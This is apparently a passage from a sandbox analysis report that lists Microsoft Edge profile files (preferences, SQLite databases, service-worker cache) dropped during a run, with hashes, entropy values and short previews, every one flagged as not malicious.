Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2210e022-0407-4170-8b84-527ff1176983.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\451376c5-6005-491f-937e-db3765cff664.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7785440374121797
Encrypted:	false
SSDEEP:	192:tTlaSFRABTbldPCjmbh0m5YqevEXcf0L/ZJVb:VlbABTb3PCjmbh+EXI0LhJVb
MD5:	A2F012571DE38EBF67BBCE8DED339745
SHA1:	08C6C3257138C9085639B4B133706DD0BCBF4BBB
SHA-256:	2AD57E1C72C27185F7F06AE2DCECE0BDD900EA71769471385329E31DA5DC694B
SHA-512:	591BD249646C15EF20C20DE99B69528F620BA36B5A58674517C32213BB34C461DDF7209DF8ED39223D72815D3F49C5EAE82583A0C917C61F245D22053918B193
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	modified
Size (bytes):	36864
Entropy (8bit):	1.2799033009851746
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9W8:uIEumQv8m1ccnvS6vAYiiOd51a
MD5:	91683F45C440CFC5154389100B36FC55
SHA1:	D68EA73F8E024DD0ED0DAE522AB357143213EAB1
SHA-256:	59A83E9B91871A3159CB5E596B3A2DCAD47C5332D1458CE27A065FB3499A8678
SHA-512:	571A2E25C55606B03BE6A8A90E91767786F2DF11C110DD462EDA35F9B74A7D582AF636282A277B21F19D567E4A52CAAF8B7731899ED7A5E94451D0B3A6B4F18A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF43b40.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF44ce4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF45020.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a25f42f8-8e0d-44f3-b0fc-6a22fbf7515c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13508
Entropy (8bit):	5.21806595088357
Encrypted:	false
SSDEEP:	192:stVJ99QTryDigabatSuypTs6M8aFvrE9kJMYhs8nbV+FIYQwzJULPcYJ:stVPGKSu4Ts6M8CDxbG3QwWp
MD5:	34C522CC91115A122B120AEE04B4C451
SHA1:	5E6E79C816D28251B97E2C542AF3AE1A115B3D91
SHA-256:	E6B3B837EB26B920F42C51469A28135F6728AB04A6639A1A750CF14AA11A89D0
SHA-512:	5A2BA76B903B7E94D59210A229ED624C8801097F1039E14CFB6EAFEDFDFD79DB86608225326D5D39A7FDB1B7CDE3D1739021FADB8DD6AE66F6B7F85CC7796A01
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382898831366543","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4777e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13508
Entropy (8bit):	5.21806595088357
Encrypted:	false
SSDEEP:	192:stVJ99QTryDigabatSuypTs6M8aFvrE9kJMYhs8nbV+FIYQwzJULPcYJ:stVPGKSu4Ts6M8CDxbG3QwWp
MD5:	34C522CC91115A122B120AEE04B4C451
SHA1:	5E6E79C816D28251B97E2C542AF3AE1A115B3D91
SHA-256:	E6B3B837EB26B920F42C51469A28135F6728AB04A6639A1A750CF14AA11A89D0
SHA-512:	5A2BA76B903B7E94D59210A229ED624C8801097F1039E14CFB6EAFEDFDFD79DB86608225326D5D39A7FDB1B7CDE3D1739021FADB8DD6AE66F6B7F85CC7796A01
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382898831366543","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4c281.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13508
Entropy (8bit):	5.21806595088357
Encrypted:	false
SSDEEP:	192:stVJ99QTryDigabatSuypTs6M8aFvrE9kJMYhs8nbV+FIYQwzJULPcYJ:stVPGKSu4Ts6M8CDxbG3QwWp
MD5:	34C522CC91115A122B120AEE04B4C451
SHA1:	5E6E79C816D28251B97E2C542AF3AE1A115B3D91
SHA-256:	E6B3B837EB26B920F42C51469A28135F6728AB04A6639A1A750CF14AA11A89D0
SHA-512:	5A2BA76B903B7E94D59210A229ED624C8801097F1039E14CFB6EAFEDFDFD79DB86608225326D5D39A7FDB1B7CDE3D1739021FADB8DD6AE66F6B7F85CC7796A01
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382898831366543","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.563812961894903
Encrypted:	false
SSDEEP:	768:8wpqCvWNYW5wR9f4Wj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPkLkrI273ErwX8VWP:8yFv4YWaR9fPju1jatLk7DdMVWzZ06tP
MD5:	9CB03D1985D860D23A0E07C0ADAA9EEE
SHA1:	3DE9B2827952DEA49DE5BA35E07790A4B8A39498
SHA-256:	C27280406B4F5B8656A5E22B13B57698A28BBC9185BAFFC0FC37F71723508681
SHA-512:	0B5DA07F8D1708C69EF13202EF5EFE7CB60DE81E3F53D39CA6DC9BA692C983B8E497A662A6F4AD9128D4C743B5CADA76B0A838704C0563C5C64428B6A7B9DCE1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382898830892081","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382898830892081","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF47720.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.563812961894903
Encrypted:	false
SSDEEP:	768:8wpqCvWNYW5wR9f4Wj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPkLkrI273ErwX8VWP:8yFv4YWaR9fPju1jatLk7DdMVWzZ06tP
MD5:	9CB03D1985D860D23A0E07C0ADAA9EEE
SHA1:	3DE9B2827952DEA49DE5BA35E07790A4B8A39498
SHA-256:	C27280406B4F5B8656A5E22B13B57698A28BBC9185BAFFC0FC37F71723508681
SHA-512:	0B5DA07F8D1708C69EF13202EF5EFE7CB60DE81E3F53D39CA6DC9BA692C983B8E497A662A6F4AD9128D4C743B5CADA76B0A838704C0563C5C64428B6A7B9DCE1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382898830892081","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382898830892081","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.7400908617769035
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkX/8Ct//lFl46JKcZt/FlSFdVVl03nUBcisdty:chXUQI2xH8BzNme/8HILSFd4ddAa1M/
MD5:	0232AE7084C463F1F077141AE2F8E4EA
SHA1:	4B45C6DE4CE2895BD60C2EFB636D95EA6C9EF7F5
SHA-256:	684BB89AC899552393B84CA6F1831E6B2939189427D6585B24BA195F9C89E386
SHA-512:	B2DFA94D7B0EB98F28E8DCC4909CCD4E87424470941DB136E3E36A975AAECCFD92AB8F9109544065FBE66DF8AEC0BC24554A0BA39BBEA9D20A17D95242FDE478
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..?..................URES:0..PRES:0.t.g.;................REG:https://ntp.msn.com/.0..REGID_TO_ORIGIN:0..b8...............J4...................PRES:0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.115429514324428
Encrypted:	false
SSDEEP:	6:iOXA2l5FD1N723oH+TcwtE/a252KLl1Ag+jL+q2PN723oH+TcwtE/a2ZIFUv:7w2tDaYeb8xLcg+OvVaYeb8J2FUv
MD5:	9DF0F78FF0EC09A49877DD35407193C7
SHA1:	EEF81B01A085116DFCFC9DDD3A99790501E55A01
SHA-256:	70EA334952E839182AC9AA14417B49FBEFD9DB5245A0A7FD90B3D9DF7B5271B6
SHA-512:	EAB99E0A3C76413E7571614BEA03F58E492398D5F6823AD0868BD13E822DBCA90B212C87D0707A03C9CBBB2897D8EC457519EA2215CF629AA7BE76366F97AB8E
Malicious:	false
Preview:	2025/02/01-10:53:59.021 1398 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/02/01-10:53:59.035 1398 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	77391
Entropy (8bit):	5.6077087866152775
Encrypted:	false
SSDEEP:	1536:WI906CxPXfO8a1PEYeIlL/NvKKd1XCjA3DONDF3d4Nxn:39LCxPXfO8a1P5eIlL/tKK1XGndo
MD5:	E2C6C0C91A6F7C67F3BCAE418A7D7807
SHA1:	01A837B92E69D03CC59AD1F22C8D141510AF2AB1
SHA-256:	7C635591BEF63BE6F6CE4E4CEF1CEF85F9FD8BF42BCFEAAD9309CA3D9D5D96A2
SHA-512:	A49DF985476EC381F8CC33C630ADA68C795AC62A8757D344DA4C67BFD5B93FEBAD3FA92911A08CF7498DBBED2795A7EA5DA51B7580DC9D62ED5F2E84A670E0EB
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:EsKcC0E3lIJfn:EsHqs
MD5:	1DFAC6C620374C275A9EAFE4F642F4EA
SHA1:	6EEA63B88D0C01D3AD853CCBD9BB348E682A582E
SHA-256:	51B50218F587B03085A3737D587788882F84B3B153A1D54ECCA342B43C9BEEDF
SHA-512:	4DF18FB3D1DB64CED9AF27D99723D86C60F6E174C92CA711017CEB032EFDEF2B103234113E6F5482E778E434E0AE23257C7BAEBAE3C54E1C9A64B30E6D4E9CEC
Malicious:	false
Preview:	(.......oy retne........................J.q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:EsKcC0E3lIJfn:EsHqs
MD5:	1DFAC6C620374C275A9EAFE4F642F4EA
SHA1:	6EEA63B88D0C01D3AD853CCBD9BB348E682A582E
SHA-256:	51B50218F587B03085A3737D587788882F84B3B153A1D54ECCA342B43C9BEEDF
SHA-512:	4DF18FB3D1DB64CED9AF27D99723D86C60F6E174C92CA711017CEB032EFDEF2B103234113E6F5482E778E434E0AE23257C7BAEBAE3C54E1C9A64B30E6D4E9CEC
Malicious:	false
Preview:	(.......oy retne........................J.q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4993f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:EsKcC0E3lIJfn:EsHqs
MD5:	1DFAC6C620374C275A9EAFE4F642F4EA
SHA1:	6EEA63B88D0C01D3AD853CCBD9BB348E682A582E
SHA-256:	51B50218F587B03085A3737D587788882F84B3B153A1D54ECCA342B43C9BEEDF
